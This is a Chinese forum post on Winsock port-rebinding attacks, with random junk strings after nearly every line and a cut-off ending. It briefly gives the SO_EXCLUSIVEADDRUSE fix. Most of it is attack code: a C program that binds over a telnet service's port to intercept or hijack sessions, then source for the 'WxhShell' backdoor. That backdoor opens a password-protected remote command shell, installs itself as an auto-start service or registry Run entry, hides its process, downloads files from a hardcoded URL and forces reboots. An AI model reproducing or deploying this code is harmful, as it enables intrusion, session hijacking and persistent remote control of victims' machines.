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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: }qAVN  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 402x<H  
p #bhz5&/  
  saddr.sin_family = AF_INET; %nWe,_PjD  
~AQ>g#|%  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); lV\lj@  
6UlF5pom  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); UFe(4]^  
[Eu];  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ltoqtB\s  
r0\?WoF2C  
  这意味着什么?意味着可以进行如下的攻击: '<7S^^ax  
O}C)~GU  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ,^ 7 CP  
zie=2  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) < W*xshn  
g`[`P@  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 7S<UFj   
X D)  8?  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  zI^Da!r.  
L]I3P|y_  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 cD2+hp|9  
&Yf",KcL*I  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 n_P3\Y|  
qaG#;  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 f"Vgefk  
A "S/^<  
  #include %&+TbDE+T  
  #include E"#Xc@  
  #include .%'Z~|K4  
  #include    4PWAGuN^  
  DWORD WINAPI ClientThread(LPVOID lpParam);   @A{m5h  
  int main() K'aWCscM  
  { \5TxE  
  WORD wVersionRequested; FW#P*}#  
  DWORD ret; cwe1^SJ6y  
  WSADATA wsaData; H-I{-Fm  
  BOOL val; /ZW&0 E  
  SOCKADDR_IN saddr; , ECLqs%  
  SOCKADDR_IN scaddr; a }'->H  
  int err; pjw aL^  
  SOCKET s; -W c~B3E|  
  SOCKET sc; _6MdF<Xb/  
  int caddsize; B[F-gq-  
  HANDLE mt; ka/XK[/'  
  DWORD tid;   02\JzBU  
  wVersionRequested = MAKEWORD( 2, 2 ); m!O;>D  
  err = WSAStartup( wVersionRequested, &wsaData ); Yp1bH+/u  
  if ( err != 0 ) { gcf6\f}\<  
  printf("error!WSAStartup failed!\n"); Dx-KMiQ,"(  
  return -1; Tfx :"u  
  } 5f^>b\8+ |  
  saddr.sin_family = AF_INET; zN{JJ3-  
   RJ~ %0  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 gg^1b77hT  
!VP %v&jKm  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); !tXZ%BP.u  
  saddr.sin_port = htons(23); _<zfQZai  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) L9FHgl?  
  { hO#t:WxFI  
  printf("error!socket failed!\n"); he$XLTmr:  
  return -1; X}cZxlqc  
  } pBp #a  
  val = TRUE; ?WpenUWk  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 )R?;M  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ]]BOk  
  { {2 %aCCV  
  printf("error!setsockopt failed!\n"); F[Q!d6  
  return -1; KrcgIB8X  
  } A6{b?aQ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; B=X,7  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 V&ot3- Rf  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 C$9z  
fD4ICO@  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 0Fw6Dq<8-!  
  { `f9gC3Hk  
  ret=GetLastError(); &aG*k*  
  printf("error!bind failed!\n"); wO.iKX;  
  return -1; *5V Xyt2  
  } %gd(wzco  
  listen(s,2); mC[UXN/  
  while(1) VDGCWg6z  
  { "i&"* ~  
  caddsize = sizeof(scaddr); u~1o(Zn =  
  //接受连接请求 oVOm_N  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); EJ84rSp  
  if(sc!=INVALID_SOCKET) ^2JpWY:|7  
  { -$2kO`|p  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ?_g1*@pA  
  if(mt==NULL) hhI)' $  
  { jrMe G.e=D  
  printf("Thread Creat Failed!\n"); :+rUBYWx  
  break; O+~ 7l?o  
  } 'ZP)cI:+X  
  } =ll=)"O  
  CloseHandle(mt); EU-]sTJLF  
  } o)Z=m:t,lK  
  closesocket(s); OGO ~f;7  
  WSACleanup(); d s:->+o  
  return 0; 9GLb"6+PK  
  }   [10zTU`  
  DWORD WINAPI ClientThread(LPVOID lpParam) en*d/>OVJ  
  { o0It82?RN  
  SOCKET ss = (SOCKET)lpParam; mXzrEI  
  SOCKET sc; %Ym^{N  
  unsigned char buf[4096]; o<i,*y88  
  SOCKADDR_IN saddr; fc_2D|  
  long num; z=7|{G  
  DWORD val; 5n lMrK  
  DWORD ret; \qh *E#j  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ^aZAw%K  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   >~nF=   
  saddr.sin_family = AF_INET; 58tVx'1y  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); t*XN_=E$f  
  saddr.sin_port = htons(23); FFKGd/:!  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \ I`p|&vG  
  { wzCUZ1N9q  
  printf("error!socket failed!\n"); fbvbz3N  
  return -1; @Xp~2@I=ls  
  } 3AcD,,M>>  
  val = 100; eqAW+Ptx  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) q'Wr[A40j  
  { >rsqH+oL  
  ret = GetLastError(); !g!5_ |  
  return -1; qJ4T]FVN  
  } `D$Jv N  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9W ^xlid6  
  { ~|ss*`CT  
  ret = GetLastError(); "= / f$Xf  
  return -1; _aWl]I){5  
  } ;)AfB#:d  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 6uPcXd:8ZR  
  { 5ExDB6Bx@y  
  printf("error!socket connect failed!\n"); Px FWJ?=  
  closesocket(sc); DL'iS  
  closesocket(ss); 8flOq"uK^  
  return -1; [U@; \V$  
  } _ *f  
  while(1) v *-0M  
  { @%ip7Y]e  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 RoGwK*j0+  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 W,^W^:m-x  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 q@hzo>[  
  num = recv(ss,buf,4096,0); K14^JAdY/  
  if(num>0) M=qb^~ l  
  send(sc,buf,num,0); 1 rs&74-  
  else if(num==0) jnB~sbyA  
  break; EZ;"'4;W  
  num = recv(sc,buf,4096,0); :#k &\f-Y  
  if(num>0) ]i<[d ,  
  send(ss,buf,num,0); KnhoaBB  
  else if(num==0) 5q9s,r_  
  break; r KH:[lK m  
  } ew _-Eb  
  closesocket(ss); ?<Wb@6kh`  
  closesocket(sc); w;UqEC V  
  return 0 ; /H7&AiA  
  } uj>WgU  
g-c ;}qz  
0+Ta%H{  
========================================================== ",aT WQgN  
tVrY3)c  
下边附上一个代码,,WXhSHELL YOr:sb   
GeszgtK{T  
========================================================== Q\ /uKQ  
=@2FX&&E_  
#include "stdafx.h" 7>XDNI  
9,j-V p!G  
#include <stdio.h> <f@"HG l  
#include <string.h> zZcnijWb  
#include <windows.h> BrRL7xX  
#include <winsock2.h> K~=UUB  
#include <winsvc.h> sJwyj D$b  
#include <urlmon.h> /sM~U q?  
AfeCK1mC@  
#pragma comment (lib, "Ws2_32.lib") @%k}FL=:t(  
#pragma comment (lib, "urlmon.lib") GdV1^`M6  
~Tbj=f  
#define MAX_USER   100 // 最大客户端连接数 4P^6oh0"  
#define BUF_SOCK   200 // sock buffer (C4fG@n  
#define KEY_BUFF   255 // 输入 buffer Lip4)Y [  
,p(<+6QZ  
#define REBOOT     0   // 重启 76hOB@  
#define SHUTDOWN   1   // 关机 3 rLTF\  
`w I/0  
#define DEF_PORT   5000 // 监听端口 !Z VU,b>  
)i+2X5B`S  
#define REG_LEN     16   // 注册表键长度 `qJw|u>YpJ  
#define SVC_LEN     80   // NT服务名长度 !EUan  
sf&]u;^DY  
// 从dll定义API V%$/#sza  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -*5Rnx|Y{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .EM`.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); bR@p<;G|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]smkTo/  
qC F5~;7  
// wxhshell配置信息 [Nn`l,  
struct WSCFG { }neY<{z  
  int ws_port;         // 监听端口 c'/l,k  
  char ws_passstr[REG_LEN]; // 口令 C8FB:JNJV  
  int ws_autoins;       // 安装标记, 1=yes 0=no U9b?i$  
  char ws_regname[REG_LEN]; // 注册表键名 ~4"qV_M  
  char ws_svcname[REG_LEN]; // 服务名 WA dCF-S  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4pw6bK,s2\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 q6YXM  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )K &(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no MSf;ZB  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;M"9$M'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 N F)~W#  
:y7c k/>  
}; w$JvB5O  
Eke5Nb  
// default Wxhshell configuration |:8bNm5[  
struct WSCFG wscfg={DEF_PORT, 2-Y<4'>  
    "xuhuanlingzhe", ;b-XWK=  
    1, A}eOFu`  
    "Wxhshell", mI74x3 [  
    "Wxhshell", SlsdqP 9  
            "WxhShell Service", oudxm[/U  
    "Wrsky Windows CmdShell Service", lNSLs"x^  
    "Please Input Your Password: ", ,VO2a mI  
  1, 8WnwQ%;m?  
  "http://www.wrsky.com/wxhshell.exe", |sJSN.8  
  "Wxhshell.exe" E>l~-PaZY  
    }; sQkhwMg  
oJN#C%r7  
// 消息定义模块 7uzk p&+:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; kc0E%odF.v  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |i++0BU  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; k:7(D_  
char *msg_ws_ext="\n\rExit."; ;!yQ  
char *msg_ws_end="\n\rQuit."; Gz .|]:1  
char *msg_ws_boot="\n\rReboot..."; H%D$(W  
char *msg_ws_poff="\n\rShutdown..."; 21"1NJzP  
char *msg_ws_down="\n\rSave to "; eJg8,7WC  
t5 G9!Nn  
char *msg_ws_err="\n\rErr!"; X&kp;W  
char *msg_ws_ok="\n\rOK!"; Kr)a2rZ}SL  
1I:+MBGin  
char ExeFile[MAX_PATH]; Bz,?{o6s)Q  
int nUser = 0; :OuA)f  
HANDLE handles[MAX_USER]; KCs[/]  
int OsIsNt; R17?eucZ  
h $2</J"  
SERVICE_STATUS       serviceStatus; 0Vx.nUQ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; a\r\PBi  
!r<pmr3f@7  
// 函数声明 =E.wv  
int Install(void); @;"|@!l|  
int Uninstall(void); E>K!Vrh-L  
int DownloadFile(char *sURL, SOCKET wsh); z<Nfm  
int Boot(int flag); 7 qS""f7  
void HideProc(void); -f DnA4;  
int GetOsVer(void); hIT+gnhh  
int Wxhshell(SOCKET wsl); >7 ="8  
void TalkWithClient(void *cs); &q9T9A OS  
int CmdShell(SOCKET sock); v/_  
int StartFromService(void); c Vc-  
int StartWxhshell(LPSTR lpCmdLine); 'dn]rV0(C  
|p,P46I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); vX.VfY  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %KLpig  
T:~vk.Or  
// 数据结构和表定义 FYpzQ6s~  
SERVICE_TABLE_ENTRY DispatchTable[] = x7Yu I  
{ V-BiF>+  
{wscfg.ws_svcname, NTServiceMain}, m^zUmrj[  
{NULL, NULL} 6e |*E`I  
}; HAa; hb  
*}*FX+px)  
// 自我安装 Fe4(4  
int Install(void) p>huRp^w  
{ $&n=$C&x  
  char svExeFile[MAX_PATH]; F1yqxWHeo  
  HKEY key; [1S|dc>.O%  
  strcpy(svExeFile,ExeFile); " )1V]}+m  
cz8T  
// 如果是win9x系统,修改注册表设为自启动 p^w;kN  
if(!OsIsNt) { lN Yt`xp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JJN.ugT}1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M<v%CawS  
  RegCloseKey(key); t7aefV&_,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :/nj@X6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cPlZXf  
  RegCloseKey(key); H*PSR  
  return 0; eceP0x  
    } fumm<:<CLO  
  } 50S&m+4d+  
} _z|65H  
else { C&(N I  
Yo6*C  
// 如果是NT以上系统,安装为系统服务 |IzPgC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [<@.eH$hU/  
if (schSCManager!=0) + R~'7*EI  
{ asppRL||  
  SC_HANDLE schService = CreateService  "y}--  
  ( W:pIPDx1=!  
  schSCManager, NXrJfp  
  wscfg.ws_svcname, s{ *[]!  
  wscfg.ws_svcdisp, k5'Vy8q  
  SERVICE_ALL_ACCESS, p$] 3'jw  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , o6.^*%kM'  
  SERVICE_AUTO_START, W*2BT z  
  SERVICE_ERROR_NORMAL, 3[Qxd{8r  
  svExeFile, T4Pgbop  
  NULL, {8W'%\!=  
  NULL, m;GCc8  
  NULL, wfLaRP  
  NULL, 0x@6^ %^\  
  NULL *Q "wwpl?  
  ); Mh]Gw(?w  
  if (schService!=0) -lY6|79bF  
  { <Z mg#  
  CloseServiceHandle(schService); 1~NT.tY  
  CloseServiceHandle(schSCManager); qm/22:&v5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); V_.5b&@  
  strcat(svExeFile,wscfg.ws_svcname); Q+{xZ'o"Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { A P?R"%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &w_j/nW^'  
  RegCloseKey(key); YJT&{jYi  
  return 0; ~:s>aQ`!  
    } 12b(A+M   
  } r@H /kD  
  CloseServiceHandle(schSCManager); (x;@%:3j$  
} nFHUy9q  
} "R;U/+  
8;RUf~q?  
return 1; 8V`WO6*  
} 6d<r= C=  
aC8} d  
// 自我卸载 C)ERUH2i  
int Uninstall(void) 0z6R'Kjy A  
{ KQ% GIz x  
  HKEY key; 8Fz#A.%P  
z]_wjYn Z  
if(!OsIsNt) { 7x|9n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  UD2C>1j  
  RegDeleteValue(key,wscfg.ws_regname); dy%;W%  
  RegCloseKey(key); B9jC?I |`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vc;$-v$&  
  RegDeleteValue(key,wscfg.ws_regname); KQ!8ks]  
  RegCloseKey(key); )Q&(f/LT  
  return 0; rr],DGg+B]  
  } /~%&vpF-L  
} U ]H#MiC!  
} ) j#`r/  
else { PUMXOTu]  
2lH&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3Ei#q+7  
if (schSCManager!=0) P64PPbP  
{ ]8_NZHld  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5H<m$K4z  
  if (schService!=0) KOk4^#h@  
  { ;u_X)  
  if(DeleteService(schService)!=0) { l*Gvf_UH  
  CloseServiceHandle(schService); @zW]2 c  
  CloseServiceHandle(schSCManager); K7_UP&`=J  
  return 0; BU/"rv"(Fg  
  }  MzdV2.  
  CloseServiceHandle(schService); & p  
  } /|6N*>l)y  
  CloseServiceHandle(schSCManager); /$Nsd  
} V1N3iI  
} 5IGX5x  
JzQ_{J`k  
return 1; y4?0j:  
} xX&+WR  
fgp]x&5Q  
// 从指定url下载文件 n,y ZRY  
int DownloadFile(char *sURL, SOCKET wsh) \h/H#j ZJ  
{ i#n0U/  
  HRESULT hr; y@S$^jk.  
char seps[]= "/"; 3)<yod=  
char *token; k_#ak%m/  
char *file; t%0VJB,Q2  
char myURL[MAX_PATH]; tKOmoC  
char myFILE[MAX_PATH]; {L{o]Ii?g  
1hY{k{+o  
strcpy(myURL,sURL); HmGWht6R  
  token=strtok(myURL,seps); o q Xg  
  while(token!=NULL) {3mRq"e  
  { EHJ.T~X  
    file=token; GY'%+\*tj  
  token=strtok(NULL,seps); #jvtUS\  
  } hR?{3d#x2  
Mq156TL  
GetCurrentDirectory(MAX_PATH,myFILE); hn G Z=  
strcat(myFILE, "\\"); e'NJnPO  
strcat(myFILE, file); ~w+c8c8pW  
  send(wsh,myFILE,strlen(myFILE),0); AlaW=leTe  
send(wsh,"...",3,0); cA?W7D  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); AofKw  
  if(hr==S_OK) I5 p ? [  
return 0; R`qFg/S  
else Qz1E 2yJ  
return 1; pI\]6U  
 ?(1 y  
} `g=J%p  
6xx ?A>:  
// 系统电源模块 6P l<'3&  
int Boot(int flag) MAR'y8I  
{ Gx/Oi)&/  
  HANDLE hToken; ,?%Zc$\LW  
  TOKEN_PRIVILEGES tkp; b4 6~?*  
`Y$4 H,8L  
  if(OsIsNt) { *~e?TfG  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); eF$x1|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  +SU8 +w  
    tkp.PrivilegeCount = 1; 7&)bJ@1U  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; eu-*?]&Di  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [q[Y~1o/&H  
if(flag==REBOOT) { P/eeC"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) BL }\D;+t  
  return 0; )qw&%sO +  
} CY5Z{qiX  
else { ITI)soa~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) A}9`S6@@  
  return 0; xJ]\+ 50  
} U?Zq6_M&  
  } }o(-=lF  
  else { PJ%C N(0  
if(flag==REBOOT) { 4xje$/_d  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *w\W/Y  
  return 0; $Ds2>G4c  
} B~ GbF*j  
else { .*Y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) N =}A Z{$  
  return 0; 5|s\* bV`  
} kbQ>a5`,x  
} #=A)XlZMd  
LL~%f &_  
return 1; *] ) `z8Ox  
} ]h+j)J}[A  
qR8Lh( "i  
// win9x进程隐藏模块 FcU SE  
void HideProc(void) R__OP`!  
{ hL{KRRf>  
tS=(}2Q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .Yn_*L+4*  
  if ( hKernel != NULL )  eq;uO6[  
  { }&J q}j  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :crW9+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0'C1YvF  
    FreeLibrary(hKernel); dR,fXQm  
  } l'_r:b  
$%#!bV  
return; q>+k@>bk @  
} @q7I4  
S4z;7z(8+  
// 获取操作系统版本 Why`ziks  
int GetOsVer(void) p_%Rt"!  
{ sUQ@7sTj  
  OSVERSIONINFO winfo; 2fd{hJDq;5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); H<,gU`&R  
  GetVersionEx(&winfo); $'M!HJxb  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) iqWQ!r^  
  return 1; on `3&0,.  
  else 6LIJ Q  
  return 0; HIZe0%WPw  
} Kn1a>fLaJ_  
!Wnb|=j  
// 客户端句柄模块 0 M[EEw3  
int Wxhshell(SOCKET wsl) lRFYx?y  
{ `d}2O%P  
  SOCKET wsh; ukyZes8o K  
  struct sockaddr_in client; /*mI<[xb  
  DWORD myID; /h3RmUy   
h S&R(m  
  while(nUser<MAX_USER) + cN8Y}V  
{ .aQ \jA  
  int nSize=sizeof(client); (O3nL.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -uf|w?  
  if(wsh==INVALID_SOCKET) return 1; [7Oe3=  
UP,c|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %7+qnH*;r  
if(handles[nUser]==0) zK@@p+n_#.  
  closesocket(wsh); HG^'I+Yn  
else &Z%?!.4j@  
  nUser++; jNk%OrP]  
  } L4nYXW0y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); wb l&  
ZD{LXJ{Vm  
  return 0; y}|s&4Sq  
} S<Xf>-8w  
}5"u[Z.  
// 关闭 socket Lp9E:D->  
void CloseIt(SOCKET wsh) g}c~:p  
{ aPL+=58r  
closesocket(wsh); KbeC"mi  
nUser--; Qvhl4-XjZa  
ExitThread(0); H/M@t\$Dc  
} 3.y vvPFEM  
}qD\0+`qi  
// 客户端请求句柄 5=ryDrx  
void TalkWithClient(void *cs) Q^")jPd  
{ Y}wyw8g/  
oUlVI*~ND  
  SOCKET wsh=(SOCKET)cs; A*BeR0(  
  char pwd[SVC_LEN]; Cw&KVw*  
  char cmd[KEY_BUFF]; H qx-;F~0  
char chr[1]; xJ.M;SF4  
int i,j; nBYZ}L q  
0</);g}  
  while (nUser < MAX_USER) { UkFC~17P  
>^3i|PB  
if(wscfg.ws_passstr) { Qo|\-y-#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PCtzl )  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sFRQe]zCcP  
  //ZeroMemory(pwd,KEY_BUFF); 7@W>E;go  
      i=0; H<+TR6k<  
  while(i<SVC_LEN) { Xsa].  
3!_XEN[  
  // 设置超时 & 1f+,  
  fd_set FdRead; dSHDWu&  
  struct timeval TimeOut; AA>P`C$&M  
  FD_ZERO(&FdRead); n `Ac 3A  
  FD_SET(wsh,&FdRead); -mh3DhJ,  
  TimeOut.tv_sec=8; 'V>-QD%1  
  TimeOut.tv_usec=0; M"L=L5OH-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); RxQ*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); apn*,7ps65  
1|:KQl2q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); UPGtj"2v-  
  pwd=chr[0]; s5. CFA  
  if(chr[0]==0xd || chr[0]==0xa) { 1xvu<|F  
  pwd=0; r.U`Kh]K  
  break; Q,Eo mt  
  } k;Y5BB  
  i++; kq-) ^,{y  
    } o2ECG`^b  
B33\?Yj)  
  // 如果是非法用户,关闭 socket 8{ I|$*nB  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /$%%s=@IL  
} l U]nd[x  
R.3q0yZ wF  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cWm$;`Q#\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); # f\rt   
FP>2C9:d  
while(1) { %z$#6?OK^  
5bb(/YtFy  
  ZeroMemory(cmd,KEY_BUFF); 5mR 1@  
J .<F"r>  
      // 自动支持客户端 telnet标准   |V(0GB  
  j=0; yt2PU_),  
  while(j<KEY_BUFF) { 6L~n.5B~o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _"{Xi2@H  
  cmd[j]=chr[0]; d_P` qA  
  if(chr[0]==0xa || chr[0]==0xd) { T> p&$]OG  
  cmd[j]=0; hqdDm  
  break; 1 -b_~DF  
  } %l%HHT  
  j++; K)P%;X  
    } !@"OB~  
rZpXPI  
  // 下载文件 QsW/X0YBv  
  if(strstr(cmd,"http://")) { 1 TXioDs=_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "Y.y:Vv;  
  if(DownloadFile(cmd,wsh)) p K$`$H  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (tO\)aS=  
  else H"F29Pu2  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V~ _>U}  
  } #LNED)Vg  
  else { 'hf8ZEW9'  
yDh6KUK  
    switch(cmd[0]) { D/' dTrR  
  +H2Qk4XFB  
  // 帮助 4Po_-4  
  case '?': { C9;kpqNG#u  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); c*M} N?|6  
    break; ,"ql5Q4  
  } "Rl}VeDY  
  // 安装 K<J9 ~  
  case 'i': { DaVa}  
    if(Install()) T8NxJmYqB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T^q 0'#/  
    else Mb=" Te>|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fXB0j;A  
    break; `F6C-  
    } p b,. r  
  // 卸载 :v 4]D4\o  
  case 'r': { &m vSiyKX  
    if(Uninstall()) WF"k[2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #LCb  
    else LgYq.>Nl9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [00m/fT6  
    break; S tyfB  
    } .|=\z9_7S8  
  // 显示 wxhshell 所在路径 eQ}4;^;M-  
  case 'p': { <-0]i_4sK  
    char svExeFile[MAX_PATH]; azU"G(6y?+  
    strcpy(svExeFile,"\n\r"); Y^]rMK/;  
      strcat(svExeFile,ExeFile); ?%kV?eu'  
        send(wsh,svExeFile,strlen(svExeFile),0); |7Kbpj  
    break;  S[QrS 7  
    } I 2DpRMy  
  // 重启 !o-@&q  
  case 'b': { YbLW/E\T  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |nF8gh~}  
    if(Boot(REBOOT)) L=h'Qgk%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,[;G|et  
    else { *|l/6!WM  
    closesocket(wsh); CQ2jP G*py  
    ExitThread(0); < 7$1kGlA  
    } ^}C\zW  
    break; ]R? 4{t4  
    } O9p|a%o  
  // 关机 uVU)d1N  
  case 'd': { rQ9'bCSr%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ct|A:/z(  
    if(Boot(SHUTDOWN)) A70d\i  
